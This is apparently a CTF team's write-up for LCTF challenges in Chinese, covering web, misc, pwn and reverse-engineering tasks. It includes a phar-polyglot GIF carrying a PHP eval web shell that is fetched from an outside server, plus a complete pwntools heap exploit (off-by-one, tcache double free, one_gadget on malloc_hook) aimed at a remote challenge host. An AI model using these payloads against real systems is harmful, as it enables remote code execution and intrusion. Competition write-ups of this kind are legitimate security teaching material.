招新小廣告
ChaMd5 ctf組 長期招新
尤其是reverse+pwn+合約的大佬
Web
bestphp's revenge
T4lk 1s ch34p,sh0w m3 the sh31l
解題思路 初步分析:
- 進⼊http://212.64.7.171/LCTF.php
- 代碼神似hitcon2017的Baby^H-master-php,區別點如下: a. 去年的有Admin類考了隨機數,⽽本題沒有,於是難度沒那麼⾼。 b. 去年的upload沒有過濾。 c. 本題多了check()和move(),解題的關鍵點所在。 d. move()可以進⾏複製,源地址被過濾太多,⽽⽬的地址存在⽬錄穿越漏洞,但很可惜 前⾯被拼接了字符串,以⾄於不能使⽤phar:// e. check()也是過濾很多,⽽且使⽤了getmagezie()函數,其實⽆所謂什麼函數,能使⽤ phar協議來進⾏反序列化即可。
- 題⽬提示:The only way you can get the flag is to use grep to check all the folders in the /
突破⼝: check()函數過濾沒其他的嚴格
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect) (.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
這⾥⾯是使⽤了^字符,⽽本題其他函數的正則匹配皆沒有這個,於是這可能是個突破 ⼝。 可使⽤compress.zlib://phar://代替phar://從⽽繞過過濾。 ⽽phar的反序列化最多是包含⽂件,於是可以本身寫⻢,然後包含本身。
- 訪問下⽹址,獲取session值,解碼後得到其哈希值
- 本機php7編寫腳本如下
class K0rz3n_secret_flag { protected $file_path="/var/www/data/17c21167f7a5e94737fc27b58e29e9e4/avatar.gif"; function __destruct(){ if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ die("Sorry Sorry Sorry"); } include_once($this->file_path); } } $phar = new Phar('avatar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php eval($_POST[p]);?>'.'<?php __HALT_COMPILER();?>'); $object = new K0rz3n_secret_flag(); $phar -> setMetadata($object); $phar -> addFromString('test.txt','test'); $phar -> stopBuffering(); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
- 運⾏後得到avatar.gif,上傳到⾃⼰的雲主機上
- 上傳
GET /LCTF.php?m=upload&url=http://103.229.127.139
- 命令執行
Misc
簽到題
洛必達?不不不
LCTF{5d7b9adcbe1c629ec722529dd12e5129}
你會玩osu!麼?
import Image #"D:\Program Files\Wireshark\tshark.exe" -r usb.pcap -T fields -e usb.capdata > usb.txt usbtxt = open('usb.txt', 'r').read() usb = usbtxt.split('\n') idx = 0 li1 = 0 li2 = 0 li3 = 0 mi1 = 0 mi2 = 0 width=1300 height=1000 bgcolor=(255,255,255) im= Image.new('RGB',(width,height),bgcolor) for u in usb: d = u.split(':') if 10 == len(d) and d[0] == '02': i0 = int(d[1], 16) i1 = (int(d[3], 16) << 8) | int(d[2], 16) i2 = (int(d[5], 16) << 8) | int(d[4], 16) i3 = (int(d[7], 16) << 8) | int(d[6], 16) i4 = (int(d[9], 16) << 8) | int(d[8], 16) if i1 > mi1: mi1 = i1 if i2 > mi2: mi2 = i2 li1 = i1 li2 = i2 pix=im.load() i=0 i3%=256 if idx > 3000: pix[i1//10,i2//10]=(0,0,0)#(i3,i3,i3) if idx % 100 == 0: im.save("out\\mapd.png"%idx) idx+=1 im.save("out\\mapd.png"%idx) print idx,mi1,mi2
LCTF{OSU_1S_GUUUD}
PWN
easyheap
off by one:
if ( a2 ) { while ( 1 ) { read(0, &a1[v3], 1uLL); 6 7 if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' ) break; ++v3; } a1[v3] = 0; a1[a2] = 0; }
libc2.27->tcache 只能malloc(0xF8) 可以先填滿對應的tcache bin獲得unsorted bin 審錯了他的read過程,看成了
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' ) ++v3; break;
以爲會連續⽣成兩個"\x00",沒法bypass,(fd和bk只有末位是"\x00"),卡了好久。晚上回來重新看發現看錯了orz 剩下就是利⽤off by one覆蓋prev in use,使兩個堆塊發⽣合併,然後便可以有兩個索引指向同⼀個chunk。 ⽽後進⾏tcache的double free,使chunk分配到malloc hook,寫⼊one_gadget,再malloc⼀次 即可getshell
from pwn import * def new(size,note): p.recvuntil("?\n> ") p.sendline("1") p.recvuntil("size \n> ") p.sendline(str(size)) p.recvuntil("content \n> ") if size==0: return else: p.send(note) def delete(index): p.recvuntil("> ") p.sendline("2") p.recvuntil("index \n> ") p.sendline(str(index)) context.log_level='debug' p=remote("118.25.150.134",6666) for i in range(10): new(0,"kirin\n") for i in range(5): delete(9-i) delete(3) delete(1) delete(2) delete(0) delete(4) for i in range(7): new(0,"kirin\n") new(0,"kirin\n") new(0xf8,"\x00") new(0,"kirin\n") for i in range(6): delete(i+1) delete(9) delete(0) p.recvuntil("?\n> ") p.sendline("3") p.recvuntil("index \n> ") p.sendline("8") s=p.recv(6) libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0 print hex(libc_addr) for i in range(8): new(0,"kirin\n") delete(8) delete(9) new(0x10,p64(libc_addr+0x3ebc30)) new(0x10,"kirin\n") for i in range(8): delete(i) for i in range(8): new(0x10,p64(libc_addr+0x10a38c)) delete(0) p.recvuntil("> ") p.sendline("1") p.interactive()
RE
去簽到吧朋友
在init中有對401E79的SMC和基於進程名檢查的反調試;401D90函數也是對401E79的 SMC。 輸⼊⻓度限制爲36字節。 將輸⼊分別以兩種⽅式遍歷(不管什麼⽅式,與解題關係不⼤,⼤概與樹有關);將兩種遍歷 結果分別進⾏加密或類似操作、結果與常量⽐較並校驗部分輸⼊遍歷前後的序號。兩種遍歷的 結果可以通過加密算法和最終的校驗數據得出,再加上序號的校驗,分別得出原始輸⼊前或後 部分,合在⼀起就能得到正確的原始輸⼊。 對第⼀種遍歷結果加密的加密算法是des,密鑰爲fa1conn,加密後結果⼜進⾏了算術運算。 可解⽅程得出加密串的前36字節,加上明⽂校驗的後4字節,得到完整加密串的hex值: 77afddee5cabcba362635c5d93180bfbc9174647b91d768eb6e3f5c7ac643479088e45f 9733cf57c z3解⽅程的代碼如下:
from z3 import * def codesovle(): v = [] for i in range(36): v.append(BitVec('v%d'%i,32)) cc = [23,65,24,78,43,56,59,67,21,43,45,76,23,54,76,12,65,43,89,40,32,67,73,57,23,45,31,54,31,52,13,24,54,65,34,24] res = [43666,49158,43029,51488,53397,51921,28676,39740,26785,41665,35675,40629,32311,31394,20373,41796,33452,35840,17195,29175,29485,28278,28833,28468,46181,58369,44855,56018,57225,60666,25981,26680,24526,38780,29172,30110] s = Solver() for i in range(6): for j in xrange(6): s.add(res[i+6*j] == v[6*j]*cc[i]+v[6*j+1]*cc[i+6]++v[6*j+2]*cc[i+12]+v[6*j+3]*cc[i+18]++v[6*j+ 4]*cc[i+24]++v[6*j+5]*cc[i+30]) for i in range(36): s.add( ULE(v[i],0xff),UGE(v[i],0)) if s.check() == sat: a = s.model() s = '' for i in range(36): s += chr(a[v[i]].as_long()) print '[*]result:', print s.encode('hex') return print '[*]No result,end.' if __name__ == '__main__': codesovle()
DES解密後得到:LC-+)=1234@AFETRS{the^VYXZfislrvxyz} 根據序號校驗,前18字節輸⼊在遍歷後的序號爲: 0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5 即得到前18字節輸⼊:LCTF{this-RevlrSE= 第⼆種遍歷結果的變換是異或,反解如下:
>>> c = [124,129,97,153,103,155,20,234,104,135,16,236,22,249,7,242,15,243,3,244,51,207,39,198,38,195,61,208,44,210,35,222,40,209,1,230] >>> S = '' >>> for i in range(36): ... if i%2: ... s+= chr(c[i]^0xaa) ... else: ... s += chr(c[i]^0xaa) >>> s ')+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL'
根據序號校驗,後18字節輸⼊在遍歷後的序號爲: 19,18,5,7,17,1,0,20,,29,28,27,15,16,4,3,2,32 得到後18字節的正確原始輸⼊:^V1@Y+)fAxyzXZ234} flag爲:LCTF{this-RevlrSE=^V1@Y+)fAxyzXZ234}
easy_vm
常規VM題,handler如下:
0x86: VM_push_imm(a1) 0x87: VM_push_reg(a1) 0x88: VM_mov_reg_with_addr(a1) 0x89: VM_mov_reg_with_reg_pointer(a1) 0x8A: VM_pop_reg(a1) 0x8B: VM_add_regs(a1) 0x8C: VM_sub_regs(a1) 0x8D: VM_mul_regs(a1) 0x8E: VM_div_regs(a1) 0x8F: VM_mod_regs(a1) 0x90: VM_xor_regs(a1) 0x91: VM_and_regs(a1) 0x92: VM_SET_FLAGS_with_reg(a1) 0x93: VM_inc_reg(a1) 0x94: VM_dec_reg(a1) 0x95: VM_mov_reg_with_imm(a1) 0x96: VM_mov_reg_with_reg_low(a1) 0x97: VM_mov_reg_with_ds(a1) 0x98: VM_SET_DS(a1) 0x99: VM_DS_INC(a1) 0x9A: VM_DS_ADD_4(a1) 22 23 0x9B: VM_CMP_REGS(a1) 0x9C: VM_JL(a1) 0x9D: VM_JG(a1) 0x9E: VM_JE(a1) 0x9F: VM_JNE(a1) 0xA0: VM_JMP(a1) 0xA1: VM_loop(a1) 0xA2: VM_nop(a1) 0xA3: return result; default: VM_nop(a1)
VM上下⽂使⽤的數據結構如下:
00000000 VM_CFG struc ; (sizeof=0x2048, mappedto_9) 00000000 _RAX dq ? 00000008 _RBX dq ? 00000010 _RDX dq ? 00000018 _RCX dq ? 00000020 _FLAGS dq ? 00000028 _RIP dq ? 00000030 _RDI dq ? 00000038 _RBP dq ? 00000040 _RSP dq ? 00000048 mem db 8192 dup(?) 00002048 VM_CFG ends
對應的三段vm解析後爲:
rax rbx rdx rcx flags -------check length-------- mov rcx,0x1c l2: mov rbx,byte[rdi] cmp rbx,rax je l1 dec rcx inc rdi loop l2 l1: cmp rcx,rdx jne l3 mov rax,1 l3: ret -------compute--------- mov flags,rax jne l1 ret l1: mov rax,0x80 mov rdx,0x3f mov rcx,0x7b mov flags,0x1c l3: mov rbx,byte[rdi] mul rbx,rdx add rbx,rcx mod rbx,rax mov byte[rdi],rbx inc rdi dec flags push flags mov flags,flags jne l2 ret l2: pop flags loop l3 ret -------check-------- mov flags,rax jne l1 ret l1: push 0x3e push 0x1a push 0x56 push 0x0d push 0x52 push 0x13 push 0x58 push 0x5a push 0x6e push 0x5c push 0x0f push 0x5a push 0x46 push 0x07 push 0x09 push 0x52 push 0x25 push 0x5c push 0x4c push 0x0a push 0x0a push 0x56 puxh 0x33 push 0x40 push 0x15 push 0x07 push 0x58 push 0x0f mov rax,0 mov rcx,0x1c l4: mov rbx,byte[rdi] pop rdx cmp rbx,rdx je l2 ret l2: inc rdi dec rcx mov flags,rcx jne l3 mov rax,1 ret l3: loop l4 ret
反解如下:
>>> table = string.printable >>> l1 = [] >>> for i in table: ... l1.append((ord(i)*0x3f+0x7b)%0x80) ... >>> l1 [75, 10, 73, 8, 71, 6, 69, 4, 67, 2, 90, 25, 88, 23, 86, 21, 84, 19, 82, 17, 80, 15, 78, 13, 76, 11, 74, 9, 72, 7, 70, 5, 68, 3, 66, 1, 122, 57, 120, 55, 118, 53, 116, 51, 114, 49, 112, 47, 110, 45, 108, 43, 106, 41, 104, 39, 102, 37, 100, 35, 98, 33, 26, 89, 24, 87, 22, 85, 20, 83, 18, 81, 16, 79, 14, 77, 12, 65, 0, 63, 126, 61, 124, 59, 96, 31, 94, 29, 92, 27, 64, 127, 62, 125, 91, 50, 113, 46, 48, 111] >>> t1 = [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5a,0x6e,0x5c,0x0f,0x5a,0x46,0x07,0x0 9,0x52,0x25,0x5c,0x4c,0x0a,0x0a,0x56,0x33,0x40,0x15,0x07,0x58,0x0f][::-1] >>> t1 [15, 88, 7, 21, 64, 51, 86, 10, 10, 76, 92, 37, 82, 9, 7, 70, 90, 15, 92, 110, 90, 88, 19, 82, 13, 86, 26, 62] >>> for i in t1: ... print table[l1.index(i)], ... l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! } >>> 'l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }'.replace(' ','') 'lctf{He11o_Virtual_Machine!}'
想起「 Lunatic Game
這是⽤了 Glasgow Haskell Compiler麼。。。業務邏輯全在sub_402427中。遊戲的初始化, 勝負判斷,⼤概看下,勝利就輸出flag,且遊戲過程對最後flag輸出沒有影響,直接動態,遊 戲初始化後,跳到4023C8運⾏,直接輸出flag。